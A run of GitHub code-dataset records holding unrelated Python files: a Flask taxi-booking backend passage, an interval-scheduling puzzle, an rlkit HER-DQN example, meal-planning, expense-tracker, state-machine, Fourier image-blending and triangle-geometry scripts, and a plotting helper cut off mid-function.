jsonify({\"tripid\":tripids, \"from_add\":froma, \"to_add\":toa, \"tripstatus\": tripstatuss})\n\n#########################################################################################################################\n\n\t@app.route(\"/get-history-customer\",methods=[\"POST\"])\n\tdef customerhistory():\n\t\tcursor = dbconn.cursor()\n\n\t\t#phonenos=request.json['phoneno']\n\t\tphonenos='7338995416'\n\t\tcursor.execute(\"SELECT * from TripHistory where Rphoneno=%s ORDER BY tripid\",(phonenos,))\n\t\ttemp= cursor.fetchall()\n\t\tresult=[]\n\t\tif temp:\n\t\t\tfor tripids,froma,toa,times,shareds,vtypess,amounts,tripstatuss,Rphones,Dphones in temp:\n\t\t\t\tdicts={\"tripid\":tripids, \"from_add\":froma, \"to_add\":toa, \"shared\":shareds, \"vehicletype\":vtypess,\"amount\":amounts,\"tripstatus\":tripstatuss,\"Rphoneno\":Rphones,\"Dphoneno\":Dphones}\n\t\t\t\tresult.append(dicts)\n\n\t\t\treturn jsonify(result)\n\t\telse:\n\t\t\treturn jsonify(message=\"You have no rides yet.\")\n\n\n#########################################################################################################################\n\n\t@app.route(\"/get-scheduled-rides\",methods=['POST'])\n\tdef schedulingrides():\n\t\tcursor = dbconn.cursor()\n\n\t\tphonenos=request.json['phoneno']\n\t\t# phonenos='7338995417'\n\t\tcursor.execute(\"SELECT tripid,from_add,to_add,time,shared,vehicletype,amount,otp,bookingstatus,Dphoneno from CurrentTrip where Rphoneno=%s\",(phonenos,))\n\t\ttemp= cursor.fetchall()\n\t\tresult=[]\n\t\tif temp:\n\t\t\tfor tripids,froma,toa,times,shareds,vtypess,amounts,otps,bookingstats,Dphones in temp:\n\t\t\t\tdicts={\"tripid\":tripids, \"from_add\":froma, \"to_add\":toa, \"shared\":shareds, \"vehicletype\":vtypess,\"amount\":amounts,\"otp\":otps,\"bookingstatus\":bookingstats,\"Dphoneno\":Dphones,\"time\":times}\n\t\t\t\tresult.append(dicts)\n\n\t\t\treturn jsonify(result)\n\t\telse:\n\t\t\treturn jsonify(message=\"You have no scheduled rides.\")\n#########################################################################################################################\n\n\t@app.route(\"/get-profile-customer\")\n\tdef customerprofile():\n\t\tcursor = dbconn.cursor()\n\n\t\t#phonenos=request.json['phoneno']\n\t\tphonenos='7338995417'\n\t\tcursor.execute(\"SELECT name,email,Rphoneno from Rider where Rphoneno=%s\",(phonenos,))\n\t\ttemp= cursor.fetchone()\n\t\tnames,emails,Rphones=temp\n\t\treturn jsonify({\"name\":names,\"email\":emails, \"Rphoneno\":Rphones})\n\n################################################## DRIVER #####################################################\n\n\n\t@app.route(\"/get-history-driver\",methods=[\"POST\"])\n\tdef driverhistory():\n\t\tcursor = dbconn.cursor()\n\n\t\tphonenos=request.json['phoneno']\n\t\t# phonenos='7338995418'\n\t\tcursor.execute(\"SELECT * from TripHistory where Dphoneno=%s\",(phonenos,))\n\t\ttemp= cursor.fetchall()\n\t\tresult=[]\n\t\tif temp:\n\t\t\tfor tripids,froma,toa,times,shareds,vtypess,amounts,tripstatuss,Rphones,Dphones in temp:\n\t\t\t\tdicts={\"tripid\":tripids, \"from_add\":froma, \"to_add\":toa, \"shared\":shareds, \"vehicletype\":vtypess,\"amount\":amounts,\"tripstatus\":tripstatuss,\"Rphoneno\":Rphones,\"Dphoneno\":Dphones}\n\t\t\t\tresult.append(dicts)\n\n\t\t\treturn jsonify(result)\n\t\telse:\n\t\t\treturn jsonify(message=\"You have no rides yet.\")\n\n#########################################################################################################################\n\n\t@app.route(\"/get-profile-driver\")\n\tdef driverprofile():\n\t\tcursor = dbconn.cursor()\n\n\t\t#phonenos=request.json['phoneno']\n\t\tphonenos='7338995418'\n\n\t\tcursor.execute(\"SELECT name, aadharid, email, Dphoneno, licenseno, vehicleno, vehicletype from Driver where Dphoneno=%s\",(phonenos,))\n\t\tdbconn.commit()\n\n\t\ttemp= cursor.fetchone()\n\t\tnames,aadharids,emails,Dphones,lnos,vnos,vtypess=temp\n\t\treturn jsonify({\"name\":names,\"aadharid\": aadharids, \"email\":emails, \"Dphoneno\":Dphones,\"licenseno\":lnos,\"vehicleno\":vnos,\"vehicletype\":vtypess})\n\n#########################################################################################################################\n\n\t@app.route(\"/get-available-rides\",methods=[\"POST\"])\n\tdef schedulingdriverrides():\n\t\tcursor = dbconn.cursor()\n\t\tvtypess=request.json['vehicletype']\n\t\tphonenos=request.json['phoneno']\n\t\t# phonenos='7338995419'\n\t\t# vtypess='auto'\n\n\t\tcursor.execute(\"SELECT tripid,from_add,to_add,time,shared,vehicletype,amount,bookingstatus from CurrentTrip where bookingstatus=%s and vehicletype=%s ORDER BY tripid\",('Pending',vtypess))\n\t\ttemp= cursor.fetchall()\n\t\tresult=[]\n\t\tif temp:\n\t\t\tfor tripids,froma,toa,times,shareds,vtypess,amounts,bookstats in temp:\n\t\t\t\tdicts={\"tripid\":tripids, \"from_add\":froma, \"to_add\":toa,\"time\":times, \"shared\":shareds, \"vehicletype\":vtypess,\"amount\":amounts,\"bookingstatus\":bookstats}\n\t\t\t\tresult.append(dicts)\n\n\t\t\treturn jsonify(result)\n\t\telse:\n\t\t\treturn jsonify(message=\"You have no rides available currently.\")\n\n\n#########################################################################################################################\n\n\n\t@app.route(\"/accept-rides\")\n\tdef driveracceptrides():\n\t\tcursor = dbconn.cursor()\n\t\t#tripids=request.json['tripid']\n\t\t#Dphonenos=request.json['Dphoneno']\n\n\t\ttripids='13'\n\t\tDphonenos='7338995419'\n\n\t\ttripstats='Ongoing'\n\t\tbookingstats='Accepted'\n\t\tcursor.execute(\"UPDATE CurrentTrip SET bookingstatus=%s, tripstatus=%s, Dphoneno=%s where tripid=%s\",(bookingstats,tripstats,Dphonenos,tripids))\n\t\tdbconn.commit()\n\n\t\tcursor = dbconn.cursor()\n\t\tcursor.execute(\"UPDATE TripHistory SET tripstatus=%s, Dphoneno=%s where tripid=%s\",(tripstats,Dphonenos,tripids))\n\t\tdbconn.commit()\n\n\t\tcursor = dbconn.cursor()\n\t\tcursor.execute(\"SELECT tripid,from_add,to_add,time,shared,vehicletype,amount,otp,bookingstatus,tripstatus,Rphoneno from CurrentTrip where tripid=%s\",(tripids,))\n\n\n\t\ttemp= cursor.fetchone()\n\n\t\tif temp:\n\t\t\ttripids,froma,toa,times,shareds,vtypess,amounts,otps,bookingstats,tripstats,Rphonenos=temp\n\t\t\treturn jsonify({\"tripid\":tripids,\"from_add\": froma, \"to_add\":toa, \"time\":times,\"shared\":shareds,\"vehicletype\":vtypess,\"amount\":amounts, \"otp\":otps,\"bookingstatus\":bookingstats,\"tripstatus\":tripstats,\"Rphoneno\":Rphonenos})\n\n\t\telse:\n\t\t\treturn jsonify(message=\"Ride not scheduled\")\n\n#########################################################################################################################\n\n\t@app.route(\"/trip-completed-driver\")\n\tdef drivercompleterides():\n\t\tcursor = dbconn.cursor()\n\t\t#tripids=request.json['tripid']\n\n\t\ttripids='11'\n\t\ttripstats='Completed'\n\n\t\tcursor.execute(\"DELETE from CurrentTrip where tripid=%s\",(tripids,))\n\t\tdbconn.commit()\n\n\n\t\tcursor = dbconn.cursor()\n\t\tcursor.execute(\"UPDATE TripHistory SET tripstatus=%s where tripid=%s\",(tripstats, tripids))\n\t\tdbconn.commit()\n\n\t\tcursor = dbconn.cursor()\n\t\tcursor.execute(\"SELECT tripid,from_add,to_add,time,shared,vehicletype,amount,tripstatus from TripHistory where tripid=%s\",(tripids,))\n\n\n\t\ttemp= cursor.fetchone()\n\t\ttripids,froma,toa,times,shareds,vtypess,amounts,tripstats=temp\n\t\treturn jsonify({\"tripid\":tripids,\"from_add\": froma, \"to_add\":toa, \"time\":times,\"shared\":shareds,\"vehicletype\":vtypess,\"amount\":amounts, \"tripstatus\":tripstats})\n\n#########################################################################################################################\n\n\n\n\treturn app\n","repo_name":"josephmani/Tax-E-Backend","sub_path":"taxibackend/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":16041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"73917461631","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\nThis problem was asked by Snapchat.\n\nGiven an array of time intervals (start, end) for classroom lectures (possibly overlapping), find the minimum number of rooms required.\n\nFor example, given [(30, 75), (0, 50), (60, 150)], you should return 2.\n\"\"\"\n\ndef get_num_classrooms(timing_tuples):\n if not timing_tuples:\n return 0\n\n start_times = dict()\n end_times = dict()\n for start, end in timing_tuples:\n if start not in start_times:\n start_times[start] = 0\n start_times[start] += 1\n\n if end not in end_times:\n end_times[end] = 0\n end_times[end] += 1\n \n global_start, global_end = min(start_times), max(end_times)\n\n max_class_count = 0\n current_class_count = 0\n for i in range(global_start, global_end):\n if i in start_times:\n current_class_count += start_times[i]\n if current_class_count > max_class_count:\n max_class_count = current_class_count\n if i in end_times:\n current_class_count -= end_times[i]\n\n return max_class_count\n\nprint(get_num_classrooms([(30, 75), (0, 50), (60, 150)]))\nprint(get_num_classrooms([(30, 75), (0, 50), (0, 90), (60, 150)]))\n","repo_name":"dombroks/Daily-Coding-Problems","sub_path":"Snapchat_Problems/Snapshot_Problem_00.py","file_name":"Snapshot_Problem_00.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"} +{"seq_id":"10231976062","text":"\"\"\"\nThis should results in an average return of -20 by the end of training.\n\nUsually hits -30 around epoch 50.\nNote that one epoch = 5k steps, so 200 epochs = 1 million steps.\n\"\"\"\nimport gym\n\nimport rlkit.torch.pytorch_util as ptu\nfrom rlkit.data_management.obs_dict_replay_buffer import ObsDictRelabelingBuffer\nfrom rlkit.exploration_strategies.base import (\n PolicyWrappedWithExplorationStrategy\n)\nfrom rlkit.exploration_strategies.gaussian_and_epsilon_strategy import (\n GaussianAndEpislonStrategy\n)\nfrom rlkit.launchers.launcher_util import setup_logger\nfrom rlkit.torch.her.her import HerDQN\nfrom rlkit.torch.networks import FlattenMlp, TanhMlpPolicy\nimport multiworld.envs.gridworlds\n\n\ndef experiment(variant):\n env = gym.make('GoalGridworld-v0')\n\n obs_dim = env.observation_space.spaces['observation'].low.size\n goal_dim = env.observation_space.spaces['desired_goal'].low.size\n action_dim = env.action_space.n\n qf1 = FlattenMlp(\n input_size=obs_dim + goal_dim,\n output_size=action_dim,\n hidden_sizes=[400, 300],\n )\n\n\n replay_buffer = ObsDictRelabelingBuffer(\n env=env,\n **variant['replay_buffer_kwargs']\n )\n algorithm = HerDQN(\n her_kwargs=dict(\n observation_key='observation',\n desired_goal_key='desired_goal'\n ),\n dqn_kwargs = dict(\n env=env,\n qf=qf1,\n ),\n replay_buffer=replay_buffer,\n **variant['algo_kwargs']\n )\n algorithm.to(ptu.device)\n algorithm.train()\n\n\nif __name__ == \"__main__\":\n variant = dict(\n algo_kwargs=dict(\n num_epochs=100,\n num_steps_per_epoch=1000,\n num_steps_per_eval=1000,\n max_path_length=50,\n batch_size=128,\n discount=0.99,\n ),\n replay_buffer_kwargs=dict(\n max_size=100000,\n fraction_goals_rollout_goals=0.2, # equal to k = 4 in HER paper\n fraction_goals_env_goals=0.0,\n ),\n )\n setup_logger('her-dqn-gridworld-experiment', variant=variant)\n experiment(variant)\n","repo_name":"ksluck/Coadaptation-rlkit","sub_path":"examples/her/her_dqn_gridworld.py","file_name":"her_dqn_gridworld.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"37240525638","text":"import pandas as pd\r\nfrom random import randint\r\nimport sys\r\n\r\ndef MealPlan(recipes, num_meals, rating1, rating2, old_plan):\r\n\r\n meal_len = len(recipes)-1\r\n meal_plan = []\r\n rate_lst = []\r\n ing_lst = []\r\n while len(meal_plan) < num_meals:\r\n rand = randint(0, meal_len)\r\n if recipes['Meal'][rand] in list(old_plan['Meal']):\r\n continue\r\n elif rating1 in rate_lst and recipes['Rating'][rand] == rating1:\r\n continue\r\n elif rate_lst.count(rating2) == rating2 and recipes['Rating'][rand] == rating2:\r\n continue\r\n else:\r\n meal_plan.append(recipes['Meal'][rand])\r\n rate_lst.append(recipes['Rating'][rand])\r\n ing_lst.append(recipes['Ingredients'][rand])\r\n if len(set(meal_plan)) != len(meal_plan):\r\n del meal_plan[-1]\r\n del rate_lst[-1]\r\n del ing_lst[-1]\r\n \r\n new_meal_plan_df = pd.DataFrame({'Meal':meal_plan, 'Rating':rate_lst, 'Ingredients':ing_lst}, columns=['Meal', 'Rating', 'Ingredients'])\r\n new_meal_plan_df.to_excel('C:/Users/emile/OneDrive/Documents/Family_Manager_App/Meal_Plan.xlsx', sheet_name='Meal Plan', index=False)\r\n \r\n return new_meal_plan_df;\r\n\t\r\ndef GroceryList(meal_plan, staples):\r\n \r\n ing_df = meal_plan['Ingredients'].str.split(pat=',', expand=True)\r\n ing_df = ing_df.apply(lambda x: x.str.strip())\r\n staple_df = staples['Items'].str.split(pat=',', expand=True)\r\n staple_df = staple_df.apply(lambda x: x.str.strip())\r\n all_food_df = ing_df.append(staple_df, ignore_index=True)\r\n \r\n groc_lst = []\r\n groc_dct = {}\r\n for index, row in all_food_df.iterrows():\r\n for index, ing in row.items():\r\n groc_lst.append(ing)\r\n groc_dct[ing] = groc_lst.count(ing)\r\n \r\n groc_df = pd.DataFrame(list(groc_dct.items()), columns=['Item', 'Number of Meals'])\r\n groc_df.dropna(axis=0, subset=['Item'], inplace=True)\r\n groc_df.to_excel('C:/Users/emile/OneDrive/Documents/Family_Manager_App/Grocery_List.xlsx', sheet_name='Grocery List', index=False)\r\n \r\n return groc_df;\r\n\t\r\n\t","repo_name":"emileahhiatt/Personal_Projects","sub_path":"Meal_Planning/Functions.py","file_name":"Functions.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12221155750","text":"from scipy.stats import binom\nimport matplotlib.pyplot as plt\nfrom math import log\n\ndef get_qos(p1, n1):\n\n\tqos = [0, 0, 0, 0]\n\n\tsum = 0\n\tfor i in range(64):\n\t sum += binom.pmf(i, p1, 1/n1)\n\t if sum >= .99 and qos[0] == 0:\n\t qos[0] = i*10\n\n\t if sum >= .999 and qos[1] == 0:\n\t qos[1] = i*10\n\n\t if sum >= .9999 and qos[2] == 0:\n\t qos[2] = i*10\n\n\t if sum >= .99999 and qos[3] == 0:\n\t qos[3] = i*10\n\n\t#print(qos, (1 - 1/p1)**n1, n1)\n\n\treturn qos[0]\n\n\np1 = 128 #qd\nn1 = 1/(log(1 - (1/p1), 0.8)) # die\n\nget_qos(p1, n1)\n\np2 = 64 #qd\nn2 = 1/(log(1 - (1/p2), 0.9)) # die\n\nget_qos(p2, n2)\n\np3 = 32 #qd\nn3 = 1/(log(1 - (1/p3), 0.95)) # die\n\nget_qos(p3, n3)\n\np4 = 32 #qd\nn4 = 1/(log(1 - (1/p4), 0.95)) # die\n\nget_qos(p4, n4)\n\n#plt.figure()\n\nfor j in range(4,512,32):\n\tqo = []\n\tres = []\n\tfor i in range(1,10):\n\t\tn1 = 1/(log(1 - (1/p1), i/10 - 0.01))\n\t\tidx = get_qos(j, n1)\n\t\tqo.append(idx)\n\t\tres.append(int(n1))\n\t\t#plt.plot(res, qo)\n\n#plt.show()\n\ndmsn = 5\n\nres_cnt = [2 for _ in range(dmsn)]\n\nutil = [1/dmsn for _ in range(dmsn)]\n\nweight = [4, 3, 2, 1, 7]\n\ns = sum(weight)\n\nnwt = [weight[i]/s for i in range(dmsn)]\n\n\n\nrun = True\n\nimport time\n\ncnt = 0\n\nwhile run:\n\n\ttime.sleep(.01)\n\n\tif cnt > 1000:\n\t\trun = False\n\t\n\tcnt += 1\n\n\tprint(cnt)\n\n\n\n\n\n","repo_name":"shirishbahirat/interview","sub_path":"qos.py","file_name":"qos.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31232187456","text":"###N.MEGHANA 21BCE9935 PHASE-2 TASK 1\r\n\r\nimport tkinter as tk\r\nfrom tkinter import ttk\r\nimport datetime\r\nimport json\r\n\r\napp = tk.Tk()\r\napp.title(\"Expense Tracker\")\r\n\r\nexpenses = []\r\n\r\n\r\ndef add_expense():\r\n date = entry_date.get()\r\n category = entry_category.get()\r\n amount = entry_amount.get()\r\n expenses.append({\"date\": date, \"category\": category, \"amount\": amount})\r\n update_expense_list()\r\n entry_date.delete(0, \"end\")\r\n entry_category.delete(0, \"end\")\r\n entry_amount.delete(0, \"end\")\r\n\r\n\r\ndef update_expense_list():\r\n expense_list.delete(0, \"end\")\r\n for expense in expenses:\r\n expense_list.insert(\"end\", f\"{expense['date']} | {expense['category']} | ${expense['amount']}\")\r\n\r\ndef generate_report():\r\n selected_month = combo_month.get()\r\n selected_year = combo_year.get()\r\n total_expense = 0\r\n for expense in expenses:\r\n date = datetime.datetime.strptime(expense[\"date\"], \"%Y-%m-%d\")\r\n if date.month == selected_month and date.year == selected_year:\r\n total_expense += float(expense[\"amount\"])\r\n label_report.config(text=f\"Total Expenses for {selected_month}/{selected_year}: ${total_expense:.2f}\")\r\n\r\n\r\ndef save_to_file():\r\n with open(\"expenses.json\", \"w\") as file:\r\n json.dump(expenses, file)\r\n\r\n\r\ndef load_from_file():\r\n global expenses\r\n try:\r\n with open(\"expenses.json\", \"r\") as file:\r\n expenses = json.load(file)\r\n update_expense_list()\r\n except FileNotFoundError:\r\n pass\r\n\r\n\r\nlabel_date = ttk.Label(app, text=\"Date (YYYY-MM-DD):\")\r\nentry_date = ttk.Entry(app)\r\nlabel_category = ttk.Label(app, text=\"Category:\")\r\nentry_category = ttk.Entry(app)\r\nlabel_amount = ttk.Label(app, text=\"Amount ($):\")\r\nentry_amount = ttk.Entry(app)\r\nbutton_add = ttk.Button(app, text=\"Add Expense\", command=add_expense)\r\n\r\nexpense_list = tk.Listbox(app, height=10)\r\nscrollbar = ttk.Scrollbar(app, orient=\"vertical\", command=expense_list.yview)\r\nexpense_list.configure(yscrollcommand=scrollbar.set)\r\n\r\nlabel_month = ttk.Label(app, text=\"Select Month:\")\r\ncombo_month = ttk.Combobox(app, values=list(range(1, 13)))\r\nlabel_year = ttk.Label(app, text=\"Select Year:\")\r\ncombo_year = ttk.Combobox(app, values=list(range(2000, 2051)))\r\nbutton_report = ttk.Button(app, text=\"Generate Report\", command=generate_report)\r\nlabel_report = ttk.Label(app, text=\"\")\r\n\r\n\r\nload_from_file()\r\n\r\n\r\nlabel_date.grid(row=0, column=0)\r\nentry_date.grid(row=0, column=1)\r\nlabel_category.grid(row=1, column=0)\r\nentry_category.grid(row=1, column=1)\r\nlabel_amount.grid(row=2, column=0)\r\nentry_amount.grid(row=2, column=1)\r\nbutton_add.grid(row=3, column=0, columnspan=2)\r\n\r\nexpense_list.grid(row=4, column=0, columnspan=2)\r\nscrollbar.grid(row=4, column=2)\r\n\r\nlabel_month.grid(row=5, column=0)\r\ncombo_month.grid(row=5, column=1)\r\nlabel_year.grid(row=5, column=2)\r\ncombo_year.grid(row=5, column=3)\r\nbutton_report.grid(row=6, column=0, columnspan=4)\r\nlabel_report.grid(row=7, column=0, columnspan=4)\r\n\r\napp.protocol(\"WM_DELETE_WINDOW\", save_to_file)\r\n\r\napp.mainloop()","repo_name":"Megha66996/COB-Python-Development","sub_path":"Manage personal expenses tracker(N.Meghana Phase 1 Task 1).py","file_name":"Manage personal expenses tracker(N.Meghana Phase 1 Task 1).py","file_ext":"py","file_size_in_byte":3047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15738355050","text":"# Object-oriented programming focuses on mutating the state of objects that interact\n# with each other\n\n# finite-state machine\n# (commonly known as a state machine) First, what's a state machine? A state machine\n# is an abstract machine that has two key components: states and transitions\n\n# Example: radio receiver, two\n# possible states are tuning on the FM or AM.\n\n# vending\n# machines, elevators, traffic lights, combination locks, parking meters, automated\n# gas pumps, and natural language grammar description\n\n# Computational examples\n# include game programming and other domains of computer programming,\n# hardware design, protocol design, and programming language parsing\n\n# State Machine Compiler (SMC). With SMC,\n# you can describe your state machine in a single text file using a simple Domain\n# Specific Language (DSL), and it will generate the state machine's code automatically.\n\n\nfrom state_machine import State, Event, acts_as_state_machine, after, before, InvalidStateTransition\n\n\n@acts_as_state_machine\nclass Process:\n created = State(initial=True)\n waiting = State()\n running = State()\n terminated = State()\n blocked = State()\n swapped_out_waiting = State()\n swapped_out_blocked = State()\n wait = Event(from_states=(created, running, blocked, swapped_out_waiting), to_state=waiting)\n run = Event(from_states=waiting, to_state=running)\n terminate = Event(from_states=running, to_state=terminated)\n block = Event(from_states=(running, swapped_out_blocked), to_state=blocked)\n swap_wait = Event(from_states=waiting, to_state=swapped_out_waiting)\n swap_block = Event(from_states=blocked, to_state=swapped_out_blocked)\n\n def __init__(self, name):\n self.name = name\n\n @after('wait')\n def wait_info(self):\n print('{} entered waiting mode'.format(self.name))\n\n @after('run')\n def run_info(self):\n print('{} is running'.format(self.name))\n\n @before('terminate')\n def terminate_info(self):\n print('{} terminated'.format(self.name))\n\n @after('block')\n def block_info(self):\n print('{} is blocked'.format(self.name))\n\n @after('swap_wait')\n def swap_wait_info(self):\n print('{} is swapped out and waiting'.format(self.name))\n\n @after('swap_block')\n def swap_block_info(self):\n print('{} is swapped out and blocked'.format(self.name))\n\n\ndef transition(process, event, event_name):\n try:\n event()\n except InvalidStateTransition as err:\n print('Error: transition of {} from {} to {} failed'.format(process.name, process.current_state, event_name))\n\n\ndef state_info(process):\n print('state of {}: {}'.format(process.name, process.current_state))\n\n\ndef main():\n RUNNING = 'running'\n WAITING = 'waiting'\n BLOCKED = 'blocked'\n TERMINATED = 'terminated'\n p1, p2 = Process('process1'), Process('process2')\n [state_info(p) for p in (p1, p2)]\n\n print()\n transition(p1, p1.wait, WAITING)\n transition(p2, p2.terminate, TERMINATED)\n [state_info(p) for p in (p1, p2)]\n print()\n transition(p1, p1.run, RUNNING)\n transition(p2, p2.wait, WAITING)\n [state_info(p) for p in (p1, p2)]\n print()\n transition(p2, p2.run, RUNNING)\n [state_info(p) for p in (p1, p2)]\n print()\n [transition(p, p.block, BLOCKED) for p in (p1, p2)]\n [state_info(p) for p in (p1, p2)]\n print()\n [transition(p, p.terminate, TERMINATED) for p in (p1, p2)]\n [state_info(p) for p in (p1, p2)]\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"wyaadarsh/DesignPatterns","sub_path":"Behavorial Design Patterns/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":3508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9323614268","text":"import cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport cmath\n\n# Read and display original images in grayscale\nimg = cv2.imread('messi.jpg')\nimg2 = cv2.imread('ronaldo.jpg')\ngray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\ngray_img2 = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)\ncv2.imshow('Messi',gray_img)\ncv2.imshow('Ronaldo',gray_img2)\n\n# Fourier transform images\ngray_fourier = np.fft.fft2(gray_img)\nshifted_gf = np.fft.fftshift(gray_fourier)\n\ngray_fourier2 = np.fft.fft2(gray_img2)\nshifted_gf2 = np.fft.fftshift(gray_fourier2)\n\nplt.imshow(np.log(abs(shifted_gf)), cmap='gray')\n#plt.show()\nplt.imshow(np.angle(shifted_gf), cmap = 'gray')\n#plt.show()\n\n# Create Low Pass\nrows, cols = gray_img.shape\ncrow, ccol = int(rows / 2), int(cols / 2)\n\nLP = np.zeros((rows,cols), np.uint8)\nr = 30\ncenter = [crow, ccol]\nx, y = np.ogrid[:rows, :cols]\nmask_area = (x - center[0]) ** 2 + (y - center[1]) ** 2 <= r*r\nLP[mask_area] = 1\n\n# Create High Pass\nHP = np.ones((rows, cols), np.uint8)\nmask_area = (x - center[0]) ** 2 + (y - center[1]) ** 2 <= r*r\nHP[mask_area] = 0\n\nplt.imshow(LP, cmap = 'gray')\nplt.show()\ncv2.imwrite\nplt.imshow(HP, cmap = 'gray')\nplt.show()\n\n# Apply filters to TF images\nLP_mes = LP*shifted_gf\nHP_ron = HP*shifted_gf2\n\nplt.imshow(np.log(abs(LP_mes)), cmap = 'gray')\nplt.show()\nplt.imshow(np.log(abs(HP_ron)), cmap = 'gray')\nplt.show()\n\n# Switch magnitudes/phases of TF images\nmes_ron = abs(shifted_gf) * np.exp(1j*np.angle(shifted_gf2))\nron_mes = abs(shifted_gf2) * np.exp(1j*np.angle(shifted_gf))\n\n# Transform Images back\nLP_mes = np.fft.ifftshift(LP_mes)\nLP_mes_final = np.fft.ifft2(LP_mes).real\nHP_ron = np.fft.ifftshift(HP_ron)\nHP_ron_final = np.fft.ifft2(HP_ron).real\n\nblended_img = cv2.addWeighted(LP_mes_final,0.5,HP_ron_final,0.5,0)\n\nmes_ron = np.fft.ifftshift(mes_ron)\nmes_ron_final = np.fft.ifft2(mes_ron).real\nron_mes = np.fft.ifftshift(ron_mes)\nron_mes_final = np.fft.ifft2(ron_mes).real\n\n# Plot and save Images\nplt.imshow(LP_mes_final, cmap = 'gray')\nplt.show()\nplt.imshow(HP_ron_final, cmap = 'gray')\nplt.show()\nplt.imshow(blended_img, cmap = 'gray')\nplt.show()\n\n# Scale down blended for a smaller version\nscale = 60\nwidth = int(blended_img.shape[1] * scale / 100)\nheight = int(blended_img.shape[0] * scale / 100)\ndim = width, height\nsmaller_blend = cv2.resize(blended_img, dim, interpolation = cv2.INTER_AREA)\n\n# Continue plotting\nplt.imshow(smaller_blend, cmap = 'gray')\nplt.show()\nplt.imshow(mes_ron_final, cmap = 'gray')\nplt.show()\nplt.imshow(ron_mes_final, cmap = 'gray')\nplt.show()\n","repo_name":"John-Spinelli/COMPENG-4TN4","sub_path":"Assignment 2/2_FourierTransformer.py","file_name":"2_FourierTransformer.py","file_ext":"py","file_size_in_byte":2530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"23359033424","text":"from math import sqrt\n\n\nclass Triangle:\n\n\tdef __init__(self, a, b, c):\n\t\tself.a = a \n\t\tself.b = b\n\t\tself.c = c \n\n\tdef is_valid(self):\n\t\tif all([\n\t\t\tself.a + self.b > self.c,\n\t\t\tself.b + self.c > self.a,\n\t\t\tself.a + self.c > self.b\n\t\t\t\t]):\n\t\t\treturn 'Valid'\n\t\telse:\n\t\t\treturn 'Invalid'\n\n\tdef Side_Classification(self):\n\t\tif self.is_valid() == 'Invalid':\n\t\t\treturn 'Invalid'\n\n\t\tif self.a == self.b == self.c:\n\t\t\treturn 'Equilateral'\n\t\telif self.a != self.b != self.c and self.a != self.c:\n\t\t\treturn 'Scalene'\n\t\telse:\n\t\t\treturn 'Isosceles'\n\n\tdef Angle_Classification(self):\n\t\tif self.is_valid() == 'Invalid':\n\t\t\treturn 'Invalid'\n\n\t\ta, b, c = sorted([self.a, self.b, self.c])\n\n\t\tlhs = a ** 2 + b ** 2\n\t\trhs = c ** 2\n\n\t\tif lhs > rhs:\n\t\t\treturn 'Acute'\n\t\telif lhs == rhs:\n\t\t\treturn 'Right'\n\t\telse:\n\t\t\treturn 'Obtuse'\n\n\tdef Area(self):\n\t\tif self.is_valid() == 'Invalid':\n\t\t\treturn 'Invalid'\n\n\t\ts = (self.a + self.b + self.c) / 2\n\t\treturn sqrt(s*(s-a)*(s-b)*(s-c))\n\n\n\n\n","repo_name":"shaumikkhanna/IITM","sub_path":"diploma-level/pdsa/week1/Ungraded-2.py","file_name":"Ungraded-2.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"} +{"seq_id":"71669833151","text":"\"\"\"\nuse matplot\n\"\"\"\n\nimport os\nimport matplotlib.pyplot as plt\nfrom matplotlib import animation\nimport numpy as np\n\n# set the output dir path\ncode_path = os.path.dirname(os.path.realpath(__file__))\n\noutput_dir = os.path.join(code_path,'output')\nif not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\ncurve_dir = os.path.join(output_dir,'curve')\nif not os.path.exists(curve_dir):\n os.makedirs(curve_dir)\n\n# plot 2 curves with 2 subplot in one figure\ndef plot_curve(data_list1,data_list2):\n fig,(ax1,ax2) = plt.subplots(1,2,figsize=(19,8))\n plt.title('Learning Curve',fontsize=18) # figure title\n\n ax1.plot(data_list1,'-b',label='data1') # plot the data_list1, give the label name\n ax1.set_title('Learning Curve',fontsize=18)\n ax1.set_xlabel('epoch number',fontsize=14)\n ax1.set_ylabel('Cross entropy',fontsize=14)\n ax1.legend(loc='upper right')\n\n ax2.plot( data_list2,'-b',label='data2') # plot the data_list1, give the label name\n ax2.set_title('Accuracy',fontsize=18)\n ax2.set_xlabel('epoch number',fontsize=14)\n ax2.set_ylabel('accuracy rate',fontsize=14)\n ax2.legend()\n\n save_path = os.path.join(curve_dir,'learning_curve.png')\n fig.savefig(save_path) # save figure\n plt.clf()\n plt.close(fig)\n return\n\n# plot the dynamic curve in loop\ndef plot_ion():\n x_list = []\n \n # dynamic data list\n data_list1 = []\n data_list2 = []\n data_list3 = []\n\n fig,(ax1, ax2, ax3) = plt.subplots(1,3,figsize=(19,8))\n plt.ion()\n for i in range(10):\n \n # plt.subplot(3,1,1)\n ax1.cla()\n ax1.plot( x_list,data_list1,'-b')\n ax1.set_title('data 1)',fontsize=18)\n ax1.set_xlabel('x',fontsize=14)\n ax1.set_ylabel('data 1',fontsize=14)\n # plt.subplot(3,1,2)\n ax2.cla()\n ax2.plot( x_list,data_list2,'-b')\n ax2.set_title('data 2',fontsize=18)\n 